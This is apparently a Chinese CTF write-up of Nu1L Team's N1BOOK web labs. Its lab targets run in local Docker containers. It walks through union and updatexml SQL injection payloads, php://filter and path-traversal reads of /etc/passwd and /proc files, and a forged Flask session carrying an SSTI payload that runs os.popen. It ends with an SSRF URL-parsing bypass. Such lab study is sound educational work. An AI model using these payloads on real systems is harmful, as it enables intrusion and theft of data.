平台地址:N1BOOK平台-Nu1L Team

第一章 Web入门

信息搜集

常见搜集

Des:一共3部分flag。

环境搭建

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-information-backk:latest
    ports:
      - 80:80

启动:

docker-compose up -d

解题过程

9Ehfj8.jpg

既然说到了敏感文件,先试试robots.txt文件是否存在:

User-agent: *
Disallow:
/flag1_is_her3_fun.txt

访问flag1_is_her3_fun.txt,获得第一部分flag

剩下的工作就是扫描后台了,分别访问index.php~.index.php.swp

粗心的小李

Des:看看能不能找到信息吧?

环境搭建

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-information-git:latest
    ports:
      - 80:80

启动:

docker-compose up -d

解题过程

QtYWg4.jpg

Git泄露,找一下利用工具:gakki429/Git_Extract: 提取远程 git 泄露或本地 git 的工具 (github.com)

使用后会在当前目录生成一个以网站命名的文件夹,cd进去,发现有一个index.html文件。flag就在其中。

SQL注入

SQL注入-1

Des:N/A。

环境搭建

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
    ports:
      - 80:80

启动:

docker-compose up -d

解题过程

访问后发现URL如下:

http://<ip>:<port>/index.php?id=1

猜测id是注入点。

判断是否为数字型注入:

http://<ip>:<port>/index.php?id=1-1

页面无变化,继续判断是否为字符型注入:

http://<ip>:<port>/index.php?id=1'

页面错误,用联合查询看一下有几列数据:

http://<ip>:<port>/index.php?id=-1%27union%20select%201,2,3%23

查库名:

http://<ip>:<port>/index.php?id=-1%27union%20select%201,group_concat(table_name),1%20from%20information_schema.tables%20where%20table_schema=database()%23

查表名:

http://<ip>:<port>/index.php?id=-1%27union%20select%201,group_concat(column_name),1%20from%20information_schema.columns%20where%20table_name=%27fl4g%27%23

查字段:

http://<ip>:<port>/index.php?id=-1%27union%20select%201,fllllag,1%20from%20fl4g%23

SQL注入-2

Des:请访问 http://127.0.0.1/login.php http://127.0.0.1/user.php

环境搭建

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latest
    ports:
      - 80:80

启动:

docker-compose up -d

解题过程

是一个后台登录页面,尝试账密admin/admin,显示账号或密码错误,尝试admin'/admin,显示账号不存在。猜测存在SQL注入,用延时函数判断一下注入类型:

admin' and sleep(5)#

页面回显延时5秒,存在字符型注入。继续尝试万能密码,无法登录,正确思路应该不是登录,而是通过注入获得flag

使用bp抓包进行updatexml报错注入。

URL

http://<ip>:<port>/login.php?tips=1

爆数据库名:

name=admin' and updatexml(1,concat(0x7e,(seleselectct group_concat(table_name)from information_schema.tables where table_schema=database())),1)%23&pass=admin

得到两个库名:

fl4g
users

爆表名:

name=admin' and updatexml(1,concat(0x7e,(seleselectct group_concat(column_name)from information_schema.columns where table_name='fl4g')),1)%23&pass=admin

得到一个表名:

flag

爆字段:

name=admin' and updatexml(1,concat(0x7e,(seleselectct (flag)from fl4g)),1)%23&pass=admin

任意文件读取漏洞

afr_1

Des:N/A。

环境搭建

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
    ports:
      - 80:80

启动:

docker-compose up -d

解题过程

访问页面,会自动添加一个?p=hello参数,尝试修改参数值,更改了几个值页面都是空白,猜测是读写文件。那么就看一看flag文件是否存在,存在,但是页面回显为no no no

猜测使用了php协议的filter机制,尝试一下:

http://<ip>:<port>/?p=php://filter/convert.base64-encode/resource=hello

得到一个Base64编码的字符串,解码如下:

<?php

echo "hello world!";

同理查看flag文件,获得flag

afr_2

Des:N/A。

环境搭建

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-2:latest
    ports:
      - 80:80

启动:

docker-compose up -d

解题过程

页面源码如下:

<html>
<head>
    <title>u1s1</title>
</head>
<body>
HELLO!
<img src="img/img.gif">
</body>
</html>

看看能否访问img目录,成功。看了一下网站服务,发现使用了nginx那就有可能出现配置不当导致的目录穿越漏洞

尝试访问如下地址:

http://<ip>:<port>/img../

wVlSaT.jpg

获得flag。

afr_3

Des:N/A。

环境搭建

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
    ports:
      - 5000:5000

启动:

docker-compose up -d

解题过程

网页是一个输入框,且能够进行XSS注入

npaiNJ.jpg

点击提交按钮后继续点击超链接,跳转到一个实例文章页面,URL如下:

http://<ip>:<port>/article?name=article

尝试修改name的值,本来想看看是否存在flag文件,结果打错为fkag,意外爆出了路径:

uUW91A.jpg

继续尝试访问flag文件,显示没有权限。

再看看能不能读取到其它文件:

http://<ip>:<port>/article?name=../../../etc/passwd

还可以用以下姿势来得到更多的信息:

/proc/sched_debug	# 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts		# 挂载的文件系统列表
/proc/net/arp		# arp表,可以获得内网其他机器的地址
/proc/net/route		# 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie	# 路由缓存
/proc/version		# 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd		# 当前进程的工作目录
/proc/[PID]/fd/[#]	# 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log

读一下cmdline

http://<ip>:<port>/article?name=../../../proc/self/cmdline

回显为pythonserver.py,猜测题目为python环境,那么先使用cwd找一下server.py文件:

http://<ip>:<port>/article?name=../../../proc/self/cwd/server.py

回显如下:

#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) 
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key @app.route("/n1page", methods=["GET", "POST"])

def n1page():
    if request.method != "POST": 
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")

if "n1code" not in session or session['n1code'] is None:
    session['n1code'] = n1code
    template = None

if session['n1code'] is not None:
    template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
    session['n1code']
    session['n1code'] = None
    return render_template_string(template) @app.route("/", methods=["GET"])

def index():
    return render_template("main.html") @app.route('/article', methods=['GET'])

def article():
    error = 0
    
if 'name' in request.args: page = request.args.get('name')   
else: page = 'article'
    
if page.find('flag')>=0: page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e
    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

盲猜flagflag.py里,但还是无权限访问,看看key.py,内容如下:

#!/usr/bin/python
key = 'Drmhze6EPcv0fN_81Bj-nA'

通过插件发现网站使用flask框架,应该有SSTI模板注入,注意到server.py里的过滤语句:

if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")

还有下面的这两句:

if "n1code" not in session or session['n1code'] is None:
    session['n1code'] = n1code
    template = None
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
    session['n1code']

模板渲染的内容就是n1code,但n1code的来源可以为session,我们就可以利用flasksession伪造查看flag

伪造session需要一个密钥,密钥就是key.py中的那一个字符串。

flask session加密脚本:noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)

构造语句:

{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}

工具使用:

python ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
.eJwdikEKgCAQAL8SX1YvQ12CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAP1jNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWad0PkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.X6pHGQ.HTAUFHnMrWWCCfiRJXBNyUdj4IY

发包:

84ipt4.jpg

第二章 Web进阶

SSRF漏洞

SSRF Training

Des:

web容器中存在一个flag,mysql中存在一个管理员账号密码,其余容器中均没有特定flag

mysql容器中内置 tcpdump

vulnweb容器中内置一个 fpm.py 攻击脚本

环境搭建

docker-compose.yml

version: "3"
services:
  web:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-1:latest
    depends_on: 
      - redis
      - vuln
      - mysql
    ports:
      - "80:80"

  redis:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-2:latest

  vuln:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest
    
  mysql:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-4:latest
    environment:
      - MYSQL_RANDOM_ROOT_PASSWORD=yes

启动:

docker-compose up -d

解题过程

想直接访问flag.php,直接就出来了:

http://127.0.0.1/flag.php

正确思路应该是利用URL解析差异,如:

http://[email protected]:[email protected]/flag.php

进入safe_request_curl后,curl获取到的是127.0.0.1:80/flag.phpparse_url获取到的hostgoogle.com,利用解析差异实现SSRF攻击。

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。